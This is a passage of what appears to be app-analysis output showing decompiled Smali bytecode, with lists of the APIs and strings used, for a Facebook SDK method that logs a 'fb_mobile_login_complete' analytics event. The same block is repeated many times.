                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
